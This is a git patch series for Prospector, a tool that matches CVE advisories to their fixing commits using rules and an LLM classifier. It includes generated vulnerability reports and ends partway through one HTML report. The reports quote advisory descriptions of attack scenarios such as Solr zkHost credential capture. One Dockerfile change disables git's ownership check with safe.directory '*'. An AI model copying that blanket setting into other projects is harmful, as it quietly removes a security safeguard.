From 0890e3fe51abcb1c8c4f0fdb653128a4806343f9 Mon Sep 17 00:00:00 2001 From: I748376 Date: Mon, 22 Jul 2024 13:26:13 +0000 Subject: [PATCH 01/10] send one request to update security relevance of a batch of commits (instead of sending a request for each individual commit) adds LLM statistics to statistics object and Prospector reports Captures execution time at the level above the LLMService function, so that even if LLM function doesn't get executed anymore (because the information is found in db), the time of the db retrieval is still measured. --- prospector/rules/rules.py | 2 ++ 1 file changed, 2 insertions(+) diff --git a/prospector/rules/rules.py b/prospector/rules/rules.py index 204e309b9..d74b9ee87 100644 --- a/prospector/rules/rules.py +++ b/prospector/rules/rules.py @@ -460,6 +460,8 @@ def apply( return candidate.security_relevant + return candidate.security_relevant + except requests.exceptions.RequestException as e: error_type = type(e).__name__ print( From 10a42d125531fa39b2e536ca465a61d27cb2d74b Mon Sep 17 00:00:00 2001 From: I748376 Date: Tue, 30 Jul 2024 07:22:07 +0000 Subject: [PATCH 02/10] Reduces throwing errors when the LLM returns a verbose answer in commit classification. Now if there is 'true' or 'false' in the answer string, it is returned as True and False respectively, instead of checking for certain output formats --- prospector/llm/llm_service.py | 12 ++---------- 1 file changed, 2 insertions(+), 10 deletions(-) diff --git a/prospector/llm/llm_service.py b/prospector/llm/llm_service.py index 86dbaffbc..c88e81895 100644 --- a/prospector/llm/llm_service.py +++ b/prospector/llm/llm_service.py @@ -116,17 +116,9 @@ def classify_commit( except Exception as e: raise RuntimeError(f"Prompt-model chain could not be invoked: {e}") - if is_relevant in [ - "True", - "ANSWER:True", - "```ANSWER:True```", - ]: + if "True" in is_relevant: return True - elif is_relevant in [ - "False", - "ANSWER:False", - "```ANSWER:False```", - ]: + elif "False" in is_relevant: return False else: raise RuntimeError( From a15581a72f2c71d0bcb5bf346c8175dfc3a3e6d4 Mon Sep 17 00:00:00 2001 From: I748376 Date: Fri, 9 Aug 2024 08:42:05 +0000 Subject: [PATCH 03/10] cleaner error logging when git command fails --- prospector/git/git.py | 6 ++++-- 1 file changed, 4 insertions(+), 2 deletions(-) diff --git a/prospector/git/git.py b/prospector/git/git.py index ef317fc37..adf6eb853 100644 --- a/prospector/git/git.py +++ b/prospector/git/git.py @@ -311,6 +311,8 @@ def parse_git_output(self, raw: List[str]) -> Dict[str, RawCommit]: return commits def find_commits_for_twin_lookups(self, commit_id): + """Finds all relevant commits around the given commit wihin a time + window of 10 days. Search is narrowed if too many commits are found.""" # Using both author date and commit date we should cover all cases. try: commit_timestamp_a = self.get_timestamp(commit_id, "a") @@ -329,8 +331,8 @@ def find_commits_for_twin_lookups(self, commit_id): return dict() - except Exception: - logger.error("Git command failed, cannot get commits", exc_info=True) + except Exception as e: + logger.error(f"Git command failed, cannot get commits: {e}") return dict() From fb74803d31d6394b28bd4e89d17a214b1fea7e20 Mon Sep 17 00:00:00 2001 From: I748376 Date: Wed, 14 Aug 2024 09:52:19 +0000 Subject: [PATCH 04/10] Advisory References: commit makes sure that only commits refrenced in the advisory with a commit hash are treated as 'fixing commits', and not if the references is eg. 'commit::master' --- prospector/core/prospector.py | 12 ++++--- prospector/datamodel/advisory.py | 55 +++++++++++++++++++++++++------- 2 files changed, 51 insertions(+), 16 deletions(-) diff --git a/prospector/core/prospector.py b/prospector/core/prospector.py index 589fb516d..8185b38c1 100644 --- a/prospector/core/prospector.py +++ b/prospector/core/prospector.py @@ -113,7 +113,9 @@ def prospector( # noqa: C901 ) sys.exit(1) - fixing_commit = advisory_record.get_fixing_commit() + commits_in_advisory_references = ( + advisory_record.get_commits_in_advisory_references() + ) # print(advisory_record.references) # obtain a repository object repository = Git(repository_url, git_cache) @@ -131,10 +133,12 @@ def prospector( # noqa: C901 candidates: Dict[str, RawCommit] = dict() - if len(fixing_commit) > 0: - candidates = get_commits_no_tags(repository, fixing_commit) + if len(commits_in_advisory_references) > 0: + candidates = get_commits_no_tags( + repository, commits_in_advisory_references + ) if len(candidates) > 0 and any( - [c for c in candidates if c in fixing_commit] + [c for c in candidates if c in commits_in_advisory_references] ): console.print("Fixing commit found in the advisory references\n") advisory_record.has_fixing_commit = True diff --git a/prospector/datamodel/advisory.py b/prospector/datamodel/advisory.py index 709b14139..b66874c82 100644 --- a/prospector/datamodel/advisory.py +++ b/prospector/datamodel/advisory.py @@ -131,7 +131,9 @@ def fetch_references(self): def parse_references_from_third_party(self): """Parse the references from third party sites""" - for ref in self.search_references_debian() + self.search_references_redhat(): + for ref in ( + self.search_references_debian() + self.search_references_redhat() + ): # self.references[ref] += 2 self.references[self.extract_hashes(ref)] += 2 @@ -167,7 +169,9 @@ def parse_advisory(self, data): # ) self.versions = { "affected": [ - item.get("versionEndIncluding", item.get("versionStartIncluding")) + item.get( + "versionEndIncluding", item.get("versionStartIncluding") + ) for item in data["configurations"][0]["nodes"][0]["cpeMatch"] ], # TODO: can return to tuples "fixed": [ @@ -178,14 +182,27 @@ def parse_advisory(self, data): self.versions["affected"] = [ v for v in self.versions["affected"] if v is not None ] - self.versions["fixed"] = [v for v in self.versions["fixed"] if v is not None] + self.versions["fixed"] = [ + v for v in self.versions["fixed"] if v is not None + ] + + def get_commits_in_advisory_references(self) -> List[str]: + """Processes the advisory's references to extract commit IDs if + present. Only keeps the five most important ones. - def get_fixing_commit(self) -> List[str]: + Returns: + A list of references to a commit. + """ self.references = dict( - sorted(self.references.items(), key=lambda item: item[1], reverse=True) + sorted( + self.references.items(), key=lambda item: item[1], reverse=True + ) ) limit = 0 - while len([r for r in self.references.keys() if r.startswith("commit::")]) > 5: + while ( + len([r for r in self.references.keys() if r.startswith("commit::")]) + > 5 + ): self.references = { k: v for k, v in self.references.items() @@ -193,7 +210,12 @@ def get_fixing_commit(self) -> List[str]: } limit += 1 - return [ref.split("::")[1] for ref in self.references if "commit::" in ref] + return [ + ref.split("::")[1] + for ref in self.references + if "commit::" in ref + and ref.split("::")[1] not in ["master", "main"] + ] def search_references_debian(self) -> List[str]: url = "https://security-tracker.debian.org/tracker/" @@ -221,7 +243,9 @@ def search_references_redhat(self) -> List[str]: return [] - def extract_hashes(self, reference: str, filter: bool = False) -> str | None: + def extract_hashes( + self, reference: str, filter: bool = False + ) -> str | None: if bool(re.search(r"a=commit;", reference)): return "commit::" + re.search(r";h=(\w{6,40})", reference).group(1) @@ -258,12 +282,15 @@ def parse_advisory_2(self, details, metadata): for field, key in timestamp_fields.items(): timestamp = metadata.get(key) setattr( - self, field, int(isoparse(timestamp).timestamp()) if timestamp else None + self, + field, + int(isoparse(timestamp).timestamp()) if timestamp else None, ) if not self.description: self.description = details["descriptions"][0]["value"] self.references = defaultdict( - int, {self.extract_hashes(r["url"]): 2 for r in details["references"]} + int, + {self.extract_hashes(r["url"]): 2 for r in details["references"]}, ) @@ -290,7 +317,9 @@ def get_from_nvd(cve_id: str): headers = {"apiKey": NVD_API_KEY} if NVD_API_KEY else None params = {"cveId": cve_id} - response = requests.get(NVD_REST_ENDPOINT, headers=headers, params=params) + response = requests.get( + NVD_REST_ENDPOINT, headers=headers, params=params + ) if response.status_code != 200: return None @@ -314,7 +343,9 @@ def is_url_allowed(url: str) -> bool: return False -def get_from_local(vuln_id: str, nvd_rest_endpoint: str = LOCAL_NVD_REST_ENDPOINT): +def get_from_local( + vuln_id: str, nvd_rest_endpoint: str = LOCAL_NVD_REST_ENDPOINT +): try: response = requests.get(nvd_rest_endpoint + vuln_id) if response.status_code != 200: From 282bbdd28bfe623c4e5f4708f40a8db192a359d4 Mon Sep 17 00:00:00 2001 From: I748376 Date: Wed, 14 Aug 2024 07:58:01 +0000 Subject: [PATCH 05/10] fixes bug when extracting text from Jira Refs --- prospector/util/http.py | 8 ++------ 1 file changed, 2 insertions(+), 6 deletions(-) diff --git a/prospector/util/http.py b/prospector/util/http.py index 443100686..feac446c0 100644 --- a/prospector/util/http.py +++ b/prospector/util/http.py @@ -106,17 +106,13 @@ def get_from_xml(id: str): try: params = {"field": {"description", "summary", "comments"}} - # response = requests.get( - # f"https://issues.apache.org/jira/si/jira.issueviews:issue-xml/{id}/{id}.xml", - # params=params, - # ) - # xml_data = BeautifulSoup(response.text, features="html.parser") xml_data = fetch_url( f"https://issues.apache.org/jira/si/jira.issueviews:issue-xml/{id}/{id}.xml", params=params, + extract_text=False, ) item = xml_data.find("item") - if item is None: + if item is None or item == -1: return "" relevant_data = [ itm.text for itm in item.findAll(["description", "summary", "comments"]) From 8d254263020ca642e0c38754d0ae0f61f5ff4b14 Mon Sep 17 00:00:00 2001 From: I748376 Date: Tue, 30 Jul 2024 15:00:58 +0000 Subject: [PATCH 06/10] removes 'dubious ownership' error when trying to access git repositories with a different user' --- prospector/docker/worker/Dockerfile | 7 +++++++ 1 file changed, 7 insertions(+) diff --git a/prospector/docker/worker/Dockerfile b/prospector/docker/worker/Dockerfile index e5421220c..fd3b9863f 100644 --- a/prospector/docker/worker/Dockerfile +++ b/prospector/docker/worker/Dockerfile @@ -73,4 +73,11 @@ VOLUME [ "/data_sources/reports" ] RUN chmod +x /usr/local/bin/start_rq_worker.sh #CMD tail -f /dev/null + +# Create directory for gitcache and run git config command to avoid 'dubious ownership' error +RUN mkdir -p /tmp/gitcache && \ + cd /tmp/gitcache && \ + git config --global --add safe.directory '*' + + ENTRYPOINT ["/usr/local/bin/start_rq_worker.sh"] From e544450e44c018878a43d0c2e9f4308ca93a8e9c Mon Sep 17 00:00:00 2001 From: I748376 Date: Mon, 5 Aug 2024 08:32:43 +0000 Subject: [PATCH 07/10] prints error to console instead of crashing at None, -1 returned from Prospector --- prospector/cli/main.py | 8 +++++++- prospector/core/prospector.py | 8 +++----- 2 files changed, 10 insertions(+), 6 deletions(-) diff --git a/prospector/cli/main.py b/prospector/cli/main.py index 633754cdb..41b5661c8 100644 --- a/prospector/cli/main.py +++ b/prospector/cli/main.py @@ -107,7 +107,13 @@ def main(argv): # noqa: C901 "enabled_rules": config.enabled_rules, } - results, advisory_record = prospector(**params) + try: + results, advisory_record = prospector(**params) + except Exception as e: + ConsoleWriter.print( + f"Prospector function couldn't return successfully with {config.vuln_id}: {e}\n" + ) + return if config.preprocess_only: return diff --git a/prospector/core/prospector.py b/prospector/core/prospector.py index 8185b38c1..67f0f554c 100644 --- a/prospector/core/prospector.py +++ b/prospector/core/prospector.py @@ -174,10 +174,8 @@ def prospector( # noqa: C901 f"Number of candidates exceeds {limit_candidates}, aborting." ) - ConsoleWriter.print( - f"Candidates limitlimit exceeded: {len(candidates)}." - ) - return None, len(candidates) + ConsoleWriter.print(f"Candidates limit exceeded: {len(candidates)}.") + raise Exception(f"Candidate limit exceeded: {len(candidates)}.") with ExecutionTimer( core_statistics.sub_collection("commit preprocessing") @@ -232,7 +230,7 @@ def prospector( # noqa: C901 elapsed_time = time.time() - start_time if elapsed_time > 1800: logger.error("Processing timeout") - return None, len(candidates) + raise Exception("Processing timeout") else: writer.print("\nAll commits found in the backend") From 20aad0548b5e83a40d026569f14e719a01efb832 Mon Sep 17 00:00:00 2001 From: I748376 Date: Mon, 26 Aug 2024 15:03:40 +0000 Subject: [PATCH 08/10] [FIX] makes sure that commit classification information is only retrieved when using backend is optional or always --- prospector/core/prospector.py | 27 +++++++++++++++++++++++---- prospector/rules/rules.py | 31 ++++++++++++++++--------------- 2 files changed, 39 insertions(+), 19 deletions(-) diff --git a/prospector/core/prospector.py b/prospector/core/prospector.py index 67f0f554c..dfab128b5 100644 --- a/prospector/core/prospector.py +++ b/prospector/core/prospector.py @@ -246,15 +246,26 @@ def prospector( # noqa: C901 ): save_or_update_processed_commits(backend_address, payload) else: - logger.warning("Preprocessed commits are not being sent to backend") + logger.warning( + "Preprocessed commits are not being sent to backend (after phase 1)" + ) ranked_candidates = evaluate_commits( - preprocessed_commits, advisory_record, backend_address, enabled_rules + preprocessed_commits, + advisory_record, + use_backend, + backend_address, + enabled_rules, ) # Save outcome of security relevance to DB (Phase 2 Rule) payload = [c.to_dict() for c in ranked_candidates[:NUM_COMMITS_PHASE_2]] - save_or_update_processed_commits(backend_address, payload) + if len(payload) > 0 and use_backend != USE_BACKEND_NEVER: + save_or_update_processed_commits(backend_address, payload) + else: + logger.warning( + "Preprocessed commits are not being sent to backend (after phase 2)" + ) # ConsoleWriter.print("Commit ranking and aggregation...") ranked_candidates = remove_twins(ranked_candidates) @@ -298,6 +309,7 @@ def filter(commits: Dict[str, RawCommit]) -> Dict[str, RawCommit]: def evaluate_commits( commits: List[Commit], advisory: AdvisoryRecord, + use_backend: str, backend_address: str, enabled_rules: List[str], ) -> List[Commit]: @@ -318,8 +330,15 @@ def evaluate_commits( """ with ExecutionTimer(core_statistics.sub_collection("candidates analysis")): with ConsoleWriter("Candidate analysis") as _: + # Pass True to the rules module if the backend is being used, False + # otherwise (needed to decide whether to update the database) + use_backend = use_backend != USE_BACKEND_NEVER ranked_commits = apply_rules( - commits, advisory, backend_address, enabled_rules=enabled_rules + commits, + advisory, + use_backend, + backend_address, + enabled_rules=enabled_rules, ) return ranked_commits diff --git a/prospector/rules/rules.py b/prospector/rules/rules.py index d74b9ee87..eb1c6a78d 100644 --- a/prospector/rules/rules.py +++ b/prospector/rules/rules.py @@ -57,6 +57,7 @@ def get_id(self): def apply_rules( candidates: List[Commit], advisory_record: AdvisoryRecord, + use_backend: bool, backend_address: str, enabled_rules: List[str] = [], ) -> List[Commit]: @@ -95,7 +96,7 @@ def apply_rules( for candidate in candidates[:NUM_COMMITS_PHASE_2]: for rule in phase_2_rules: - if rule.apply(candidate, backend_address): + if rule.apply(candidate, use_backend, backend_address): counter.increment("matches") candidate.add_match(rule.as_dict()) candidate.compute_relevance() @@ -433,6 +434,7 @@ class CommitIsSecurityRelevant(Rule): def apply( self, candidate: Commit, + use_backend: bool, backend_address: str, ) -> bool: @@ -441,18 +443,19 @@ def apply( ): # Check if this commit is already in the database try: - r = requests.get( - f"{backend_address}/commits/{candidate.repository}", - params={"commit_id": candidate.commit_id}, - timeout=10, - ) - r.raise_for_status() - commit_data = r.json()[0] - - is_security_relevant = commit_data.get("security_relevant") - if is_security_relevant is not None: - candidate.security_relevant = is_security_relevant - return is_security_relevant + if use_backend: + r = requests.get( + f"{backend_address}/commits/{candidate.repository}", + params={"commit_id": candidate.commit_id}, + timeout=10, + ) + r.raise_for_status() + commit_data = r.json()[0] + + is_security_relevant = commit_data.get("security_relevant") + if is_security_relevant is not None: + candidate.security_relevant = is_security_relevant + return is_security_relevant candidate.security_relevant = LLMService().classify_commit( candidate.diff, candidate.repository, candidate.message @@ -460,8 +463,6 @@ def apply( return candidate.security_relevant - return candidate.security_relevant - except requests.exceptions.RequestException as e: error_type = type(e).__name__ print( From 1417b2d4c22e137c9c1e1ee4cf88a5ffdffd31b2 Mon Sep 17 00:00:00 2001 From: I748376 Date: Thu, 29 Aug 2024 14:09:10 +0000 Subject: [PATCH 09/10] sorts and cleans up gitignore --- ..._5806f368-d4f2-44cb-84ba-c5513bb9c3de.html | 300 + ..._5806f368-d4f2-44cb-84ba-c5513bb9c3de.json | 123 + ..._5b183fbd-ef84-47a0-8190-03dbf8a9a97d.html | 5477 +++ ..._5b183fbd-ef84-47a0-8190-03dbf8a9a97d.json | 2157 + ..._dadd7e2d-e33b-4fb8-85af-5850284379d9.html | 353 + ..._dadd7e2d-e33b-4fb8-85af-5850284379d9.json | 144 + ..._f6df4f22-2cce-453a-80a8-615cc55b8664.html | 32435 ++++++++++++++++ ..._f6df4f22-2cce-453a-80a8-615cc55b8664.json | 20090 ++++++++++ ..._08be8d94-00cf-4453-81ef-4d48d7ebf7ec.html | 16695 ++++++++ ..._08be8d94-00cf-4453-81ef-4d48d7ebf7ec.json | 5841 +++ ..._c20f61cc-bfe0-46b2-9ea8-514f2c20e33c.html | 9552 +++++ ..._c20f61cc-bfe0-46b2-9ea8-514f2c20e33c.json | 2402 ++ ..._1c52c1c9-aabf-4a15-8a28-7516cb2f2321.html | 8564 ++++ ..._1c52c1c9-aabf-4a15-8a28-7516cb2f2321.json | 2333 ++ prospector/pipeline/reports/report.html | 0 prospector/pipeline/reports/report1.html | 4518 +++ 16 files changed, 110984 insertions(+) create mode 100644 prospector/pipeline/reports/CVE-2019-16572_5806f368-d4f2-44cb-84ba-c5513bb9c3de.html create mode 100644 prospector/pipeline/reports/CVE-2019-16572_5806f368-d4f2-44cb-84ba-c5513bb9c3de.json create mode 100644 prospector/pipeline/reports/CVE-2023-50298_5b183fbd-ef84-47a0-8190-03dbf8a9a97d.html create mode 100644 prospector/pipeline/reports/CVE-2023-50298_5b183fbd-ef84-47a0-8190-03dbf8a9a97d.json create mode 100644 prospector/pipeline/reports/CVE-2024-2216_dadd7e2d-e33b-4fb8-85af-5850284379d9.html create mode 100644 prospector/pipeline/reports/CVE-2024-2216_dadd7e2d-e33b-4fb8-85af-5850284379d9.json create mode 100644 prospector/pipeline/reports/CVE-2024-23897_f6df4f22-2cce-453a-80a8-615cc55b8664.html create mode 100644 prospector/pipeline/reports/CVE-2024-23897_f6df4f22-2cce-453a-80a8-615cc55b8664.json create mode 100644 prospector/pipeline/reports/CVE-2024-39810_08be8d94-00cf-4453-81ef-4d48d7ebf7ec.html create mode 100644 prospector/pipeline/reports/CVE-2024-39810_08be8d94-00cf-4453-81ef-4d48d7ebf7ec.json create mode 100644 prospector/pipeline/reports/CVE-2024-41674_c20f61cc-bfe0-46b2-9ea8-514f2c20e33c.html create mode 100644 prospector/pipeline/reports/CVE-2024-41674_c20f61cc-bfe0-46b2-9ea8-514f2c20e33c.json create mode 100644 prospector/pipeline/reports/CVE-2024-42472_1c52c1c9-aabf-4a15-8a28-7516cb2f2321.html create mode 100644 prospector/pipeline/reports/CVE-2024-42472_1c52c1c9-aabf-4a15-8a28-7516cb2f2321.json create mode 100644 prospector/pipeline/reports/report.html create mode 100644 prospector/pipeline/reports/report1.html diff --git a/prospector/pipeline/reports/CVE-2019-16572_5806f368-d4f2-44cb-84ba-c5513bb9c3de.html b/prospector/pipeline/reports/CVE-2019-16572_5806f368-d4f2-44cb-84ba-c5513bb9c3de.html new file mode 100644 index 000000000..979fd8aba --- /dev/null +++ b/prospector/pipeline/reports/CVE-2019-16572_5806f368-d4f2-44cb-84ba-c5513bb9c3de.html @@ -0,0 +1,300 @@ + + + + + + + + + + + + + + + + Prospector Report + + + + +
+
+
+ + + +
+

Advisory Record

+ CVE-2019-16572
+

Jenkins Weibo Plugin 1.0.1 and earlier stores credentials unencrypted in its global configuration file on the Jenkins master where they can be viewed by users with access to the master file system.

+ + + +
Other relevant keywords
+

+ +

  • access
  • + + +
  • configuration
  • + + +
  • credential
  • + + +
  • file
  • + + +
  • jenkins
  • + + +
  • master
  • + + +
  • plugin
  • + + +
  • store
  • + + +
  • system
  • + + +
  • user
  • + + +
  • view
  • + + +
  • weibo
  • + + +

    + +
    + + + +
    +
    +
    Execution Statistics
    + +
    +
    +
    • core
      • retrieval of commit candidates
        • execution time = 0.002072 seconds
      • git
        • git
          • Git
            • create_commits
              • execution time is a list of numbers
                • average = 0.0009302739053964615 seconds
                • deviation = 0.001300225008205017 seconds
                • median = 0.0009302739053964615 seconds
                • count = 2
                • sum = 0.001860547810792923 seconds
      • candidates = 0 commits
      • commit preprocessing
        • execution time = 0.0001336 seconds
      • candidates analysis
        • execution time = 0.02646 seconds
      • execution time = 1.808 seconds
    • rules
      • active = 17 rules
      • matches = 0 matches
    • LLM
      • repository_url
        • execution time = 1.429 seconds
    +
    +
    + +
    + +
    +
    +
    +
    +

    Prospector Report

    +
    + + +
    +
    + +
    +
    +
    +
    +
    + + + + + + + + + + \ No newline at end of file diff --git a/prospector/pipeline/reports/CVE-2019-16572_5806f368-d4f2-44cb-84ba-c5513bb9c3de.json b/prospector/pipeline/reports/CVE-2019-16572_5806f368-d4f2-44cb-84ba-c5513bb9c3de.json new file mode 100644 index 000000000..d4e4a4dbf --- /dev/null +++ b/prospector/pipeline/reports/CVE-2019-16572_5806f368-d4f2-44cb-84ba-c5513bb9c3de.json @@ -0,0 +1,123 @@ +{ + "parameters": { + "vulnerability_id": "CVE-2019-16572", + "repository_url": "https://github.com/jenkinsci/jenkins", + "version_interval": "None:1.0.2", + "use_backend": "always", + "backend_address": "http://backend:8000", + "git_cache": "/data/gitcache", + "limit_candidates": 2000, + "use_llm_repository_url": true, + "enabled_rules": [ + "VULN_ID_IN_MESSAGE", + "XREF_BUG", + "XREF_GH", + "COMMIT_IN_REFERENCE", + "VULN_ID_IN_LINKED_ISSUE", + "CHANGES_RELEVANT_FILES", + "CHANGES_RELEVANT_CODE", + "RELEVANT_WORDS_IN_MESSAGE", + "ADV_KEYWORDS_IN_FILES", + "ADV_KEYWORDS_IN_MSG", + "SEC_KEYWORDS_IN_MESSAGE", + "SEC_KEYWORDS_IN_LINKED_GH", + "SEC_KEYWORDS_IN_LINKED_BUG", + "GITHUB_ISSUE_IN_MESSAGE", + "BUG_IN_MESSAGE", + "COMMIT_HAS_TWINS", + "COMMIT_IS_SECURITY_RELEVANT" + ] + }, + "advisory_record": { + "cve_id": "CVE-2019-16572", + "description": "Jenkins Weibo Plugin 1.0.1 and earlier stores credentials unencrypted in its global configuration file on the Jenkins master where they can be viewed by users with access to the master file system.", + "reserved_timestamp": 1568937600, + "published_timestamp": 1576593655, + "updated_timestamp": 1723232643, + "repository_url": null, + "references": { + "https://jenkins.io/security/advisory/2019-12-17/#SECURITY-1597": 2, + "http://www.openwall.com/lists/oss-security/2019/12/17/1": 2 + }, + "affected_products": [ + "Plugin", + "Weibo", + "Jenkins", + "Jenkins Weibo Plugin" + ], + "versions": { + "lessThanOrEqual": "1.0.1", + "status": "affected", + "version": "unspecified", + "versionType": "custom" + }, + "files": [], + "keywords": [ + "store", + "credential", + "system", + "access", + "user", + "plugin", + "view", + "file", + "master", + "configuration", + "weibo", + "jenkins" + ], + "files_extension": [], + "has_fixing_commit": false + }, + "commits": [], + "processing_statistics": { + "core": { + "retrieval of commit candidates": { + "execution time": [ + 0.0020722728222608566 + ] + }, + "git": { + "git": { + "Git": { + "create_commits": { + "execution time": [ + 0.0018496718257665634, + 1.0875985026359558e-05 + ] + } + } + } + }, + "candidates": 0, + "commit preprocessing": { + "execution time": [ + 0.00013364851474761963 + ] + }, + "candidates analysis": { + "execution time": [ + 0.026456749066710472 + ] + }, + "execution time": [ + 1.8081965018063784 + ] + }, + "rules": { + "active": [ + 17 + ], + "matches": [ + 0 + ] + }, + "LLM": { + "repository_url": { + "execution time": [ + 1.4294230211526155 + ] + } + } + } +} \ No newline at end of file diff --git a/prospector/pipeline/reports/CVE-2023-50298_5b183fbd-ef84-47a0-8190-03dbf8a9a97d.html b/prospector/pipeline/reports/CVE-2023-50298_5b183fbd-ef84-47a0-8190-03dbf8a9a97d.html new file mode 100644 index 000000000..3fd6526ab --- /dev/null +++ b/prospector/pipeline/reports/CVE-2023-50298_5b183fbd-ef84-47a0-8190-03dbf8a9a97d.html @@ -0,0 +1,5477 @@ + + + + + + + + + + + + + + + + Prospector Report + + + + +
    +
    +
    + + +

    Filters

    +

    + Use the slider to filter out lower relevance scores and the button to collapse or expand all the commits. +

    + +
    +
    + +
    +
    + +
    +
    + + + + +
    +

    Advisory Record

    + CVE-2023-50298
    +

    Exposure of Sensitive Information to an Unauthorized Actor vulnerability in Apache Solr.This issue affects Apache Solr: from 6.0.0 through 8.11.2, from 9.0.0 before 9.4.1. + +Solr Streaming Expressions allows users to extract data from other Solr Clouds, using a "zkHost" parameter. +When original SolrCloud is setup to use ZooKeeper credentials and ACLs, they will be sent to whatever "zkHost" the user provides. +An attacker could setup a server to mock ZooKeeper, that accepts ZooKeeper requests with credentials and ACLs and extracts the sensitive information, +then send a streaming expression using the mock server's address in "zkHost". +Streaming Expressions are exposed via the "/streaming" handler, with "read" permissions. + +Users are recommended to upgrade to version 8.11.3 or 9.4.1, which fix the issue. +From these versions on, only zkHost values that have the same server address (regardless of chroot), will use the given ZooKeeper credentials and ACLs when connecting. + +

    + + +
    Possible relevant files/methods
    +

    +

      + +
    • ACLs
    • + +
    • Solr
    • + +
    • SolrCloud
    • + +
    • This
    • + +
    • zkHost
    • + +
    • ZooKeeper
    • + +
    +

    + + +
    Other relevant keywords
    +

    + +

  • accept
  • + + +
  • actor
  • + + +
  • address
  • + + +
  • affect
  • + + +
  • allow
  • + + +
  • apache
  • + + +
  • attacker
  • + + +
  • chroot
  • + + +
  • clouds
  • + + +
  • connect
  • + + +
  • credential
  • + + +
  • datum
  • + + +
  • expose
  • + + +
  • exposure
  • + + +
  • expression
  • + + +
  • expressions
  • + + +
  • extract
  • + + +
  • give
  • + + +
  • handler
  • + + +
  • have
  • + + +
  • information
  • + + +
  • issue
  • + + +
  • parameter
  • + + +
  • permission
  • + + +
  • provide
  • + + +
  • read
  • + + +
  • recommend
  • + + +
  • request
  • + + +
  • send
  • + + +
  • sensitive
  • + + +
  • server
  • + + +
  • setup
  • + + +
  • solr
  • + + +
  • solrcloud
  • + + +
  • stream
  • + + +
  • streaming
  • + + +
  • unauthorized
  • + + +
  • upgrade
  • + + +
  • user
  • + + +
  • value
  • + + +
  • version
  • + + +
  • vulnerability
  • + + +
  • zookeeper
  • + + +

    + +
    + + + +
    +
    +
    Execution Statistics
    + +
    +
    +
    • core
      • retrieval of commit candidates
        • execution time = 0.02454 seconds
      • git
        • git
          • Git
            • create_commits
              • execution time = 0.02434 seconds
      • candidates = 41 commits
      • commit preprocessing
        • execution time = 0.05642 seconds
      • candidates analysis
        • execution time = 0.3947 seconds
      • save commits to backend
        • execution time = 0.03555 seconds
      • execution time = 2.898 seconds
    • rules
      • active = 17 rules
      • matches = 167 matches
    • LLM
      • repository_url
        • execution time = 1.664 seconds
      • commit_classification
        • execution time is a list of numbers
          • average = 0.016033098846673966 seconds
          • deviation = 0.0008028324026679636 seconds
          • median = 0.01598429959267378 seconds
          • count = 10
          • sum = 0.16033098846673965 seconds
    +
    +
    + +
    + +
    +
    +
    +
    +

    Prospector Report

    +
    + + +
    +
    + +
    + +
    +
    +
    +
    +
    + SOLR-17098: Only use ZK ACLs for default ZK Host (cherry picked from... + +
    +
    +
    + +
    +
    + +
    +
    +
    +
    + +
    + + Relevance: 98 +
    + +
    +
    +
    + + Tag: releases/lucene-solr/8.11.3 +
    +
    +
    +
    +
    + + + + COMMIT_IS_SECURITY_RELEVANT + + XREF_BUG + + RELEVANT_WORDS_IN_MESSAGE + + CHANGES_RELEVANT_CODE + + CHANGES_RELEVANT_FILES + + SEC_KEYWORDS_IN_LINKED_BUG + + ADV_KEYWORDS_IN_FILES + + BUG_IN_MESSAGE + + +
    +
    +
    +
    + + + + +
    +
    +
    + 61c956c426b2cfb85ccef55d1afca4335eacd269 +
    +
    + + + + Open commit + +
    +
    Matched rules
    + +
      + +
    • +
      +
    • + +
    • +
      The commit and the advisory (including referenced pages) mention the same bug tracking ticket: SOLR-17098
      +
    • + +
    • +
      The commit message contains some relevant words: ACLs
      +
    • + +
    • +
      The commit modifies code containing relevant filename or methods: This, ZooKeeper, Solr, ACLs, zkHost
      +
    • + +
    • +
      The commit changes some relevant files: solr/solrj/src/java/org/apache/solr/client/solrj/io/SolrClientCache.java, solr/solr-ref-guide/src/stream-decorator-reference.adoc, solr/core/src/java/org/apache/solr/core/CoreContainer.java, solr/solrj/src/java/org/apache/solr/client/solrj/impl/CloudHttp2SolrClient.java, solr/solrj/src/java/org/apache/solr/common/cloud/ZkStateReader.java, solr/solrj/src/test-files/solrj/solr/solr.xml, solr/solrj/src/java/org/apache/solr/common/cloud/SolrZkClient.java, solr/solr-ref-guide/src/stream-source-reference.adoc, solr/solrj/src/java/org/apache/solr/client/solrj/impl/ZkClientClusterStateProvider.java, solr/solrj/src/java/org/apache/solr/client/solrj/impl/CloudSolrClient.java
      +
    • + +
    • +
      The bug tracking ticket SOLR-17098 contains some security-related terms: security
      +
    • + +
    • +
      An advisory keyword is contained in the changed files: read, stream, provide, clouds
      +
    • + +
    • +
      The commit message references some bug tracking ticket: SOLR-17098
      +
    • + +
    + +
    Commit message
    + +
      +
    • +
      SOLR-17098: Only use ZK ACLs for default ZK Host (cherry picked from commit e2bf1f434aad873fbb24c21d46ac00e888806d98)
      +
    • +
    + +
    Changed files in commit
    + +
      +
    • + + solr/core/src/java/org/apache/solr/core/CoreContainer.java + + solr/solr-ref-guide/src/stream-decorator-reference.adoc + + solr/solr-ref-guide/src/stream-source-reference.adoc + + solr/solrj/src/java/org/apache/solr/client/solrj/impl/CloudHttp2SolrClient.java + + solr/solrj/src/java/org/apache/solr/client/solrj/impl/CloudSolrClient.java + + solr/solrj/src/java/org/apache/solr/client/solrj/impl/ZkClientClusterStateProvider.java + + solr/solrj/src/java/org/apache/solr/client/solrj/io/SolrClientCache.java + + solr/solrj/src/java/org/apache/solr/common/cloud/SolrZkClient.java + + solr/solrj/src/java/org/apache/solr/common/cloud/ZkStateReader.java + + solr/solrj/src/test-files/solrj/solr/solr.xml + +
    • +
    + + + +
    +
    +
    + +
    + +
    +
    +
    +
    +
    + SOLR-16777: Fix for Schema Designer blindly trusting potentially... + +
    +
    +
    + +
    +
    + +
    +
    +
    +
    + +
    + + Relevance: 94 +
    + +
    +
    +
    + + Tag: releases/lucene-solr/8.11.3 +
    +
    +
    +
    +
    + + + + COMMIT_IS_SECURITY_RELEVANT + + XREF_BUG + + CHANGES_RELEVANT_CODE + + CHANGES_RELEVANT_FILES + + SEC_KEYWORDS_IN_LINKED_BUG + + SEC_KEYWORDS_IN_MESSAGE + + ADV_KEYWORDS_IN_FILES + + BUG_IN_MESSAGE + + +
    +
    +
    +
    + + + + +
    +
    +
    + 4ac1d59918c250bffb09899572bd92054cee063a +
    +
    + + + + Open commit + +
    +
    Matched rules
    + +
      + +
    • +
      +
    • + +
    • +
